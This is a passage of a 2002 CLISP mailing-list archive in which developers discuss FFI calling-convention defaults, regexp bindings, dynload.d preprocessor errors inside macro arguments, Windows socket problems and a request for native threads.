regexp-exec (compiled-pattern text) ;; return exactly as many extra elements as there are () in the regexp. (let ((nsub (regexp-groups compiled-pattern))) (multiple-value-bind (errcode matches) (funcall (ensure-foreign-function #'regexec :type `(c-function :arguments ((preg c-pointer) (nmatch size_t) (results (c-ptr (c-array regmatch_t ,nsub)) :out :alloca)) :return-type int)) compiled-pattern (1+ nsub)) (if (zerop errcode) matches)))) Programmer tests. Everything is fine. Programmer exists. Enters the luser. [User is on M$-Windows.] [M$-User's default-foreign-language is :STDCALL because Reini or Dan said most functions there are this way.] (use-package "REGEXP") (regexp-compile #) (regexp-match #) Crash [After several hours lost searching, User complains on mailing list etc.] Point taken in reliable and dependable software: Attempt to have the programmer *state the obvious*. This is not necessarily against natural lazyness (e.g. def-c-call-out vs. def-call-out). I think a correct solution would be to close over the file's declared foreign language. I don't know how to do that. Special variables and dynamic binding are your ennemies here. That's how Emacs-Lisp looses in front of Common Lisp and Scheme. I believe any attempt at a solution in between no default and default-by-closure is going to break and loose someplace. My proposal: o Do not deprecate DEF-C-CALL-OUT. That's what 99% or programmers have been using 95% of time. It consisely expresses the function's signature without affecting arguments. Think about the subtle difference between: (def-stdcall-call-out foo (:arguments ((callback (c-function (:arguments #))))) (:return-type int)) and (default-foreign-language :stdcall) (def-call-out bar (:arguments ((callback (c-function (:arguments #))))) (:return-type int)) o Make :stdc the *constant* and documented default when no :language is given. I don't think this would break code. K&R C is history. IMHO this should have been changed long ago at the same time that CLISP said: #if !defined(ANSI) #error "An ANSI C or C++ compiler is required to compile CLISP!" o Provide nice DEF-WIN32-CALL-OUT etc. macros to support people's natural lazyness, long for compactness and ease of reading. (In other words, revert patch except for :C -> :stdc in parse-foreign-type.) Think should prevent the situation where the programmer is used not to indicate :language (which is completely acceptable) but where the code works on some implicit assumption. Yet I still like the idea of file-wide defaults. Principles that I attempt to follow: o Let programmers rely on documented and fixed semantics and behaviour. o Think about referential transparency. Think about what functional programming has to say. o Provide constant behaviour. o Think about the difference between the compilation and the run-time environments (see appropriate section in Common Lisp). o Don't make your program correct behaviour depend on some external and user configurable switch. (Some day, I may write an article about how broken all the *print- are). You'll shoot yourself in the foot in a couple of month or years. Sorry for my reaction more than one month after the proposed patch. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 00:57:47 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x1Mv-0003xA-00 for ; Mon, 15 Apr 2002 00:57:46 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 09:56:08 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57BZPC>; Mon, 15 Apr 2002 09:57:24 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] regexp-exec filters too much MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 00:58:05 2002 X-Original-Date: Mon, 15 Apr 2002 09:57:16 +0200 Hi, Sam wrote: > > I don't know if variable size arrays will ever be > > implemented for the FFI. > I thought you were working on that! I'm dreaming of (def-c-call-out regexec (:arguments (preg (c-ptr regex_t)) (string c-string) (nmatch size_t :in) (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca) (eflags int)) (:return-type int)) but this is not yet within reach. It's also broken (cf. my FFI-limits text). My current thoughts are along: (def-c-call-out regexec (:arguments (preg (c-ptr regex_t)) (string c-string) (nmatch size_t :in) (pmatch (c-ptr (c-array regmatch_t ,is_len(nmatch))) :out :alloca :guard (zerop result)) (eflags int)) (:return-type int)) I.e. the array is only returned when the function call returns success. For now, I concentrate on more low-level (i.e. less declarative) variable-size stuff. This should be useful for UFFI as well. > > b3) "100% better solution": revisit interface so as to not stupidly > > impose NUM-MATCH=10 but obtain number of actual groups via > > regexp-compile. Be dynamic! > thanks. are you sure you b3 is out of reach? The above is 100% of course (or 150%)). Another 100% good enough for regexp I've been thinking about is a cached mapping from n in [0..] to foreign-function of type (c-function (c-ptr (c-array regmatch_t ,n)) #) (defun regexp-exec (compiled-pattern string) (let ((nsub (regexp-groups compiled-pattern))) (multiple-value-bind (errcode matches) (funcall (or (getf array nsub) (setf+extend array i) (fcast #'regexec ;; fcast is in my hacks#1 file (ffi::parse-c-type ;; cf todays critique of default-foreign-language mail `(c-function (..... (c-ptr (c-array regmatch_t ,nsub)) ))) compiled-pattern (1+ nsub)) (if (zerop errcode) matches)))) That's as efficient as it can get. Presetting of cache array is of course possible at load-time. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 02:32:28 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x2qX-0001Y5-00 for ; Mon, 15 Apr 2002 02:32:25 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 11:01:49 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57B8W0>; Mon, 15 Apr 2002 11:03:06 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] stand-alone executable (was: A general query on the virtual machi ne) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 02:33:04 2002 X-Original-Date: Mon, 15 Apr 2002 11:03:02 +0200 Hi, Scott Williams wrote: > would work to > make stand-alone executables (ie, no other files needed for > the program to If that's all you're after, why don't you try the following: ls -l lispinit.mem -> e.g. 987654 bytes mymem.c: char mymem[987654] = { #include "mymem.h" }; Use dd or some Lisp code to produce mymem.h from lispinit.mem in a format readable by the C compiler. If you know assembly, generate assembly code instead (much faster). If you know object files (or have an API), create one directly (faster again). Then add a little C code to CLISP to read its .mem file from the mymem array instead. Disable reading .clisprc (or language or any other files). Add your .so and whatever modules. Link everything statically for the usual fake security reasons. Please report how this works. It should. I don't know if somebody ever tried this. Interest in stand-alone seems low outside the security area these days. [Sounds like one of these "let's dream" threads. See the empty http://sourceforge.net/projects/clisp Task Manager about "Native Compilation" or "JVM Compilation".] Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 02:57:30 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x3Em-0000PJ-00 for ; Mon, 15 Apr 2002 02:57:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 11:29:46 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57B0GY>; Mon, 15 Apr 2002 11:31:03 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] dynload.d compilation problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 02:58:17 2002 X-Original-Date: Mon, 15 Apr 2002 11:30:58 +0200 Hi, Peter Wood wrote: > dynload.d:86: warning: preprocessing directive not recognized > within macro arg > dynload.d:82: `#else' after `#else' > (matches line 78) > dynload.d:117: warning: `#ifdef' with no argument > dynload.d:120: #error "what dlsym now?" > make: *** [dynload.o] Error 1 Weird. Perhaps too many preprocessing stages??!? > other hand, the original dynload.d is not portable anyway. It uses > preprocessor directives inside macros, which is not part of the C > standard: That's not intended. My code says: #ifdef WANT_SYSDLL addr = dll_function(libhandle,symname); #else #error "what dlsym now?" #endif I fail to see what's wrong with the above code. CLISP has similar places: #if !(defined(AMIGA) || defined(ACORN) || defined(OS2) || defined(WIN32)) #if defined(unix) #define GENERIC_UNIX #else #error "Unknown machine type -- set machine again!" #endif #endif #if !defined(ANSI) #error "An ANSI C or C++ compiler is required to compile CLISP!" #endif How's my code any different? > Now I solved these problems by cruelly excising nearly all Joerg's > #ifdefs and #errors, That's fine. Anyway, it is a remnant from the time where I wanted to provide a single module compilable with either one of sysdll.d, dynaload.c or whatever else. That's what WANT_SYSDLL is for. It should be completely eliminated. BTW, don't spend much time writing Makefile entries by hand. It's generated. The format should be exactly the same as for other .d files of CLISP. WANT_SYSDLL probably be replaced by something else. E.g. configure --with-dynload. However, CLISP may need some flag for modules.h: modules.h could say in future, instead of being empty: #if defined(WANT_SYSDLL) -- or defined(HAVE_SHLIB) ?? MODULE(dynload) #endif MODULE(regexp) #if defined(WIN32) MODULE(dirkey) #endif OTOH, modules.h could be generated as well and not contain #ifdef. Strictly speaking, there's no need for a flag to the C compiler. That's something which needs to be decided (naming etc.) -- Sam? But there are bootstrap issues to solve prior to that. config.h needs to define HAVE_CONFIG_H, HAVE_SHLIB and HAVE_DLOPEN/SH_LOAD/DLERROR/_DLERROR (what sysdll.c uses) via autoconf macros on UNIX. Many thanks for your feedback. Please try to investigate the preprocessor inside preprocessor thing. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 03:32:55 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x3n3-0002Oo-00 for ; Mon, 15 Apr 2002 03:32:54 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 12:30:45 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57CD0L>; Mon, 15 Apr 2002 12:32:01 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] dynload.d compilation problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 03:33:18 2002 X-Original-Date: Mon, 15 Apr 2002 12:31:58 +0200 Peter, you pass the file twice through gcc's cpp. > dynload.c : dynload.d comment5 ansidecl varbrace > $(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c > > dynload.i.c : dynload.c lispbibl.c sysdll.h > $(CPP) $(CFLAGS) dynload.c > dynload.i.c > > dynload.o : dynload.i.c lispbibl.c sysdll.h > $(CC) $(CFLAGS) -c dynload.i.c > $(MV) dynload.i.o dynload.o .d -> .c -> .i.c -> .o is too much > dynload.d:82: `#else' after `#else' > (matches line 78) > dynload.d:117: warning: `#ifdef' with no argument > dynload.d:120: #error "what dlsym now?" The first cpp pass will have replaced the tokens. The second of course finds nothing left. My current thoughts on HAVE_SHLIB WANT_SYSDLL Makefile etc. sysdll.c says: #else /* Catchall if we don't know about this systems method of dynamic loading */ dll_handle dll_open (const char *fname) { return NULL; } I don't like this behaviour of sysdll.c at all. You compile, get no error. Only the user gets an error at run-time :-( :-( Solution: one of: 1. Either modify sysdll.c to remove that test. But then, our sysdll.c is not a drop-in replacement any more. Or 2. Duplicate checks sysdll.c does in dynload.d (defined HAVE_DLOPEN || HAVE_SHL_LOAD || WIN32_NATIVE). If it's not, #error "do not let sysdll compile to empty stubs". On UNIX, dynload.d will get HAVE_* through lispbibl.c through config.h so no extra switch would be needed. I'm also considering *not* using sysdll.c for MS-Windows (doing GetProcA() etc. myself in dynload, like for AmigaOS). Sysdll.c would only be needed for systems with config.h (UNIX). Then, sysdll.c should not be used nor linked on MS-Windows, but required for UNIX. I'd get no problem with -UUNICODE and GetPRocAddressA vs GetProcAddressW(). Comments welcome. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 04:05:12 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x4II-0008VW-00 for ; Mon, 15 Apr 2002 04:05:11 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@sourceforge.net; Mon, 15 Apr 2002 13:03:42 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57CGDN>; Mon, 15 Apr 2002 13:04:59 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] socket-accept not interruptible and broken http inspect server on win32 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 04:06:04 2002 X-Original-Date: Mon, 15 Apr 2002 13:04:56 +0200 Hi, Sam Steingold and I request the help of the MS-Windows experts among = you: 1. SOCKET-ACCEPT seems not interruptible via ^C (server socket even = seems broken afterwards). 2. inspect HTTP server doesn't seem to work (unrelated?) Sourceforge Bugtracker: http://sourceforge.net/tracker/index.php?func=3Ddetail&aid=3D542902&grou= p_id=3D1355&atid=3D101355 Ad 2.: I get "could not open, connection reset" from the browser, most = of the time. However, sometimes, Netscape 4.7 or MS-IE 5 get through = and display something! (setq sys::*inspect-debug* 5) (inspect *package* :frontend :http) Even then, using "Quit" link signals A network error occurred while Netscape was receiving data. (Network = Error: Connection reset by peer). Try Connecting again. Ie5 says (in German): Site http://foo.telekom.de:3192/0/:s cannot be = opened. The connection to the server was reset. BTW, Arseny Slobodjuck recently posted the MS-Windows shutdown() = Manpage. It says, which surprised me: >To assure that all data is sent and received on a connected socket >before it is closed, an application should use shutdown to close >connection before calling closesocket. For example, to initiate a >graceful disconnect: [...] Thanks, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 04:33:56 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x4k6-0006Ck-00 for ; Mon, 15 Apr 2002 04:33:55 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 13:32:21 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57C2HV>; Mon, 15 Apr 2002 13:33:38 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: Problem with module: SUBR limited to at most 6 required argum ents Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 04:34:04 2002 X-Original-Date: Mon, 15 Apr 2002 13:33:30 +0200 Hi, > I have noticed a bug on m$ windows, when linking to modules containing > functions with more > than 6 arguments. I get the error message : Unknown > signature of a SUBR It seems like a fundamental restriction in CLISP (not only MS-Windows: all). Witness pieces of lispbibl.d, spvw.d and eval.d. Don't dream of seeing this changed (bytecodes etc. probably depend on this). # the argtype component is a uintW, while we really mean: typedef enum { subr_argtype_0_0, subr_argtype_1_0, subr_argtype_2_0, subr_argtype_3_0, subr_argtype_4_0, subr_argtype_5_0, subr_argtype_6_0, .... switch (req_anz) { case 0: return(subr_argtype_0_0); case 1: return(subr_argtype_1_0); case 2: return(subr_argtype_2_0); case 3: return(subr_argtype_3_0); case 4: return(subr_argtype_4_0); case 5: return(subr_argtype_5_0); case 6: return(subr_argtype_6_0); default: goto illegal; This sounds like a show-stopper. SUBR (internal and module functions) appear less flexible in this aspect than LISP ones, or even those called via FFI. Uh. Oh. &rest arguments maybe left as an option. Not as nice. Regards, Jorg Hohle. From Frederic.Peschanski@lip6.fr Mon Apr 15 06:00:55 2002 Received: from isis.lip6.fr ([132.227.60.2]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 16x66G-0000OW-00 for ; Mon, 15 Apr 2002 06:00:53 -0700 Received: from poleia.lip6.fr (poleia.lip6.fr [132.227.201.28]) by isis.lip6.fr (8.12.2/jtpda-5.4+victor) with ESMTP id g3FD0laN014733 for ; Mon, 15 Apr 2002 15:00:47 +0200 X-pt: isis.lip6.fr Received: from dagobah (dagobah.lip6.fr [132.227.205.66]) by poleia.lip6.fr (8.8.6/jtpda-5.2) with ESMTP id PAA11287 for ; Mon, 15 Apr 2002 15:00:46 +0200 (MET DST) From: "Frederic Peschanski" To: Message-ID: <000a01c1e47d$8c646840$42cde384@lip6.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Subject: [clisp-list] Native threads (sorry) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 06:01:08 2002 X-Original-Date: Mon, 15 Apr 2002 15:00:41 +0200 Hi, I am currently porting a research project* from Scheme to CL and all goes fine and fast thanks to CLISP... Anyway, I know probably thousands of people already asked you this but the only feature I need to do a complete port and which does not seem to be present yet in CLISP is : native threads (or, at least, user level preemptive threads). I saw on the website that there were plans to support NT and I know it's not a simple thing (I followed their integration in the Ocaml compiler I also employ)... I am too new to CL and lisp compilation to imagine being useful except for testing purposes, at least for the moment... But do you have a roadmap or something about this *hot* topic (I may convince my co-workers to adopt Clisp but they will stick to java without native threads :-( ... But thanks to you, I can compile my defmacros and run them on linux (to work) and win32 (to "sell") ! So I am already happy with Clisp ;-) Regards, Fred. *: this project is called MetaJargons and it's implementation is shortly described in the Scheme2001 workshop proceedings From peter.wood@worldonline.dk Mon Apr 15 06:58:10 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x6zf-0002xy-00 for ; Mon, 15 Apr 2002 06:58:07 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id C7D1CB53E for ; Mon, 15 Apr 2002 15:58:03 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3FDU6i00291 for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 15:30:06 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynload.d compilation problems Message-ID: <20020415153006.B135@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Mon, Apr 15, 2002 at 11:30:58AM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 06:59:07 2002 X-Original-Date: Mon, 15 Apr 2002 15:30:06 +0200 Hi, On Mon, Apr 15, 2002 at 11:30:58AM +0200, Hoehle, Joerg-Cyril wrote: > Hi, > > Peter Wood wrote: > > > dynload.d:86: warning: preprocessing directive not recognized > > within macro arg > > > dynload.d:82: `#else' after `#else' > > (matches line 78) > > dynload.d:117: warning: `#ifdef' with no argument > > dynload.d:120: #error "what dlsym now?" > > make: *** [dynload.o] Error 1 > > Weird. Perhaps too many preprocessing stages??!? > > > other hand, the original dynload.d is not portable anyway. It uses > > preprocessor directives inside macros, which is not part of the C > > standard: > That's not intended. My code says: > #ifdef WANT_SYSDLL > addr = dll_function(libhandle,symname); > #else > #error "what dlsym now?" > #endif > > I fail to see what's wrong with the above code. > > CLISP has similar places: I know, but I think the reason is that Clisp doesn't put these #defines _inside_ the brackets just after a macro. A problem arises in dynload.d, I *think*, because in: with_string_0(name,O(pathname_encoding),libname, { begin_system_call(); #if defined(AMIGAOS) libaddr = OpenLibrary(libname,0); #elif defined(WANT_SYSDLL) libaddr = dll_open(libname); #else #error "what dlopen implementation to use now?" #endif end_system_call(); }); nothing from '(name .. to })' can be a preprocessor directive. so 'with_string_0(...'is the offender. > #if !(defined(AMIGA) || defined(ACORN) || defined(OS2) || defined(WIN32)) > #if defined(unix) > #define GENERIC_UNIX > #else > #error "Unknown machine type -- set machine again!" > #endif > #endif > #if !defined(ANSI) > #error "An ANSI C or C++ compiler is required to compile CLISP!" > #endif > > How's my code any different? I can't guarantee it, since I haven't looked at all the instances of '#' (and you know the code much better than me), but I think you'll find that Clisp doesn't put such directives in macro args, or it would not compile with gcc. I have no experience with other compilers, but from what I have read in the gcc faq, I understand some other compilers do allow this. > > > > Now I solved these problems by cruelly excising nearly all Joerg's > > #ifdefs and #errors, > > That's fine. Anyway, it is a remnant from the time where I wanted to provide a single module compilable with either one of sysdll.d, dynaload.c or whatever else. That's what WANT_SYSDLL is for. It should be completely eliminated. > OK. > > BTW, don't spend much time writing Makefile entries by hand. It's generated. The format should be exactly the same as for other .d files of CLISP. WANT_SYSDLL probably be replaced by something else. E.g. configure --with-dynload. However, CLISP may need some flag for modules.h: Yes. I was only doing it by hand to get things right before making a patch for makemake.in. > > modules.h could say in future, instead of being empty: > #if defined(WANT_SYSDLL) -- or defined(HAVE_SHLIB) ?? > MODULE(dynload) > #endif > MODULE(regexp) > #if defined(WIN32) > MODULE(dirkey) > #endif > > OTOH, modules.h could be generated as well and not contain #ifdef. Strictly speaking, there's no need for a flag to the C compiler. > > That's something which needs to be decided (naming etc.) -- Sam? > > But there are bootstrap issues to solve prior to that. > > config.h needs to define HAVE_CONFIG_H, HAVE_SHLIB and HAVE_DLOPEN/SH_LOAD/DLERROR/_DLERROR (what sysdll.c uses) via autoconf macros on UNIX. > > Many thanks for your feedback. Please try to investigate the preprocessor inside preprocessor thing. > Thank you for doing this work on the ffi. I think Clisp is going to be better for it, and I have enjoyed experimenting with the dynload module. I have just retried with (and without) my mistaken extra CPP stage, and I don't think that makes any difference. I also tried with (and without) the preprocessor directives in the with_string_0(...) macro, and I think that it is the culprit. Regards, Peter From peter.wood@worldonline.dk Mon Apr 15 06:58:10 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x6zf-0002xw-00 for ; Mon, 15 Apr 2002 06:58:07 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 7F655B533 for ; Mon, 15 Apr 2002 15:58:03 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3FD1OS00199 for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 15:01:24 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] dynload.d compilation problems Message-ID: <20020415150123.A135@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Mon, Apr 15, 2002 at 12:31:58PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 06:59:11 2002 X-Original-Date: Mon, 15 Apr 2002 15:01:23 +0200 On Mon, Apr 15, 2002 at 12:31:58PM +0200, Hoehle, Joerg-Cyril wrote: > Peter, > > you pass the file twice through gcc's cpp. It shouldn't result in errors. If CPP finds no tokens, it does nothing, doesn't it. > > > dynload.c : dynload.d comment5 ansidecl varbrace > > $(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c > > > > dynload.i.c : dynload.c lispbibl.c sysdll.h > > $(CPP) $(CFLAGS) dynload.c > dynload.i.c > > > > dynload.o : dynload.i.c lispbibl.c sysdll.h > > $(CC) $(CFLAGS) -c dynload.i.c > > $(MV) dynload.i.o dynload.o > > .d -> .c -> .i.c -> .o is too much I had also tried with just .c -> .o, and got similar errors. I just tried again, and got the same errors. (?) Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 07:52:31 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x7qG-0002Kk-00 for ; Mon, 15 Apr 2002 07:52:29 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 16:51:00 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57CVCD>; Mon, 15 Apr 2002 16:52:17 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] dynload.d compilation problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 07:53:09 2002 X-Original-Date: Mon, 15 Apr 2002 16:52:09 +0200 Peter, > with_string_0(name,O(pathname_encoding),libname, { > begin_system_call(); > #if defined(AMIGAOS) > libaddr = OpenLibrary(libname,0); > #elif defined(WANT_SYSDLL) > libaddr = dll_open(libname); > #else > #error "what dlopen implementation to use now?" > #endif > end_system_call(); > }); You're right! That's must be the culprit. I'll have a look at your file after I finish the stack allocator. (with-stack-allocation (foo `(c-array-max character ,13) "abc") (describe foo) (ffi::foreign-value foo) ) -> foreign-variable of type (c-array-max ...) "abc" (to be implemented :-) Thanks! Jorg Hohle. From samuel.steingold@verizon.net Tue Apr 16 06:35:43 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16xT7W-0001rJ-00 for ; Tue, 16 Apr 2002 06:35:42 -0700 Received: from gnu.org ([151.203.33.20]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020416133535.CDIS1346.out012.verizon.net@gnu.org> for ; Tue, 16 Apr 2002 08:35:35 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Gmane access to Clisp lists. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 16 06:36:24 2002 X-Original-Date: 16 Apr 2002 